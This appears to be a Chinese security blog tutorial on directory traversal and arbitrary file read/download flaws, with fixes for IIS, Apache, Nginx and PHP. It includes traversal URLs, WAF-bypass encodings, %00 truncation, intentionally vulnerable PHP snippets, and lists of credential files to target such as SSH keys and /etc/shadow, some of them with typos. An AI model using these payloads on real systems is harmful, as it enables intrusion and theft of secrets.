Web

目录遍历+任意文件读取+任意文件下载

vFREE
2021-06-22 / 0 评论 / 229 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2021年12月08日,已超过291天没有更新,若内容或图片失效,请留言反馈。


原理

目录遍历又称"路径遍历",由于web服务器配置错误导致网站的目录暴露可以被随意浏览,这种被称为"目录遍历"

危害

危害在于可以浏览一些本不该给用户看到的文件内容,比如一些数据库配置文件,网站源码等...

探测方法

谷歌语法:php intitle:index of
如果出现下面这样子的👇说明存在目录遍历漏洞

web服务器配置错误

IIS:
在控制面板 -->管理工具-->IIS管理器,网站->右键->属性->主目录,然后勾选目录浏览
修复方法:当然是取消勾选目录浏览

Apache:
打开httpd.conf,搜索""或者更加精准搜索"Options"
下图的Options后面有一个 +Indexes 说明有目录遍历漏洞

修复方法:去除+Indexes或者改成-Indexes

经测试,小皮面板如果在配置文件中存在Indexes的话,也不会被目录遍历,会显示403!!!

Nginx:
默认不开启目录遍历,如果发现存在,在nginx.conf删减掉"autoindex on;autoinxex_exact_size on",然后重启

原理

由于网站有下载文件的功能的业务需求,就会开放下载,如果服务端未对用户传入的参数做一个限制或者不对传入的参数进行检查限制的话,可能会导致网站的敏感文件被下载

危害

任意文件读取/下载的危害往往大于目录遍历漏洞,任意文件读取不仅会泄露网站的结构目录,一些敏感文件还会被通过构造特殊的字符结构下载下来,比如说../或者~/导致服务器的重要文件信息泄露,比如说../etc/passwd,../etc/shodan,~/bash_history等文件,或者下载脚本配置文件,网站文件进一步审计,得到危害更大的漏洞进一步利用

如何发现?

一般文件读取或者文件下载都会跟一个参数名在后面,比如说

http://127.0.0.1/file.php?filename=xxx.txt

上面的txt就会被下载下来,但是如果即将xxx.txt换成其他的参数呢?比如说../etc/passwd

http://127.0.0.1/file.php?filename=../../../../etc/passwd

如果服务端没有对用户传入的数据进行过滤的话,这个文件就会被输出,比如下面这样子👇

如果回显了这样子的界面,则代表该网站存在任意文件下载和读取

代码

以下代码均存在文件读取的危险,仅作示例

<?php
$file = $_GET['filename'];
readfile($file);
?>


<?php
$file = '1.txt';
print(file_get_contents($file));
?>

<?php
$file = '1.txt';
include $file;
?>

<?php
$file = '1.txt';
require $file;
?>

绕过

信息时代1202年,各种各样的花式waf层出不穷,有些waf是会检查用户传入的参数,也就是说如果在一个布置了waf的网站中,直接访问file.php?filename=../../../etc/passwd就会被拦截

1.编码绕过,有些网站也是会将文件名转成base64或者其他编码格式再去读取,比如:

http://127.0.0.1/file.php?filename=aW5kZXgucGhw
// 对应index.php

通过编码后进行读取文件,如果要读取其他文件,同理,先编码,后传入

2.使用url编码代替.或者/

http://127.0.0.1/file.php?filename=.%2F.%2F.%2F.%2Fetc%2Fpasswd

使用%2F代替/
或者二次编码(%25)

http://127.0.0.1/file.php?filename=.%252F.%252F.%252F.%252Fetc%2Fpasswd
  %25是%
  2F是/
  %252F会先解开%25,解开后是%,然后在拼接2F就会变成%2F=/

3.如果对文件名有限制,可以试着用%00截断

http://127.0.0.1/file.php?filename=../../../1.php%00.jpg

%00截断对PHP的版本有要求:PHP<5.3.4

小"姿势"

如果filename=xxx.php的话,这类的是文件包含漏洞了
如果filename=xxx.txt或者其他文件名,文件直接显示的话,就是任意文件读取漏洞了
要区分清楚!!!

防御

  1. 对传入的文件名进行判断限制过滤
  2. 合理控制目录读取的权限
  3. 采用白名单读取文件
  4. 打开php.ini文件找到open_basedir,然后去掉前面的分号(;),在等于号(open_basedir=)后面写入限制读取的范围
  5. 过滤./ ~/等字符
  6. 将要下载的文件路径预先传入数据库,然后通过相应的id值下载,但是不要"捡了芝麻丢了西瓜",别忘了防注入

download.php?file=
download.php?filename=
file.php?file=
filename.php?name=
readfile.php?filename=
file.php?url=
file.php?dirname=
file.php?f=
...

value:
&dir=
&name=
&dir_name=
&filename=
&path=
&filepath=
...

Windows:
    C:\boot.ini //查看系统版本

    C:\Windows\System32\inetsrv\MetaBase.xml          //IIS配置文件

    C:\Windows\repair\sam                                          //存储系统初次安装的密码

    C:\Program Files\mysql\my.ini                               //Mysql配置

    C:\Program Files\mysql\data\mysql\user.MYD     //Mysql root

    C:\Windows\php.ini              //php配置信息

    C:\Windows\my.ini             //Mysql配置信息

    C:\Windows\win.ini             //Windows系统的一个基本系统配置文件
  Linux:

    /root/.ssh/authorized_keys

    /root/.ssh/id_rsa

    /root/.ssh/id_ras.keystore

    /root/.ssh/known_hosts             //记录每个访问计算机用户的公钥

    /etc/passwd

    /etc/shadow

    /usr/local/app/php5/lib/php.ini                //PHP配置文件

    /etc/my.cnf                 //mysql配置文件

    /etc/httpd/conf/httpd.conf             //apache配置文件

    /root/.bash_history             //用户历史命令记录文件

    /root/.mysql_history             //mysql历史命令记录文件

    /proc/mounts                 //记录系统挂载设备

    /porc/config.gz                //内核配置文件

    /var/lib/mlocate/mlocate.db         //全文件路径

    /porc/self/cmdline             //当前进程的cmdline参数

0

评论 (0)

取消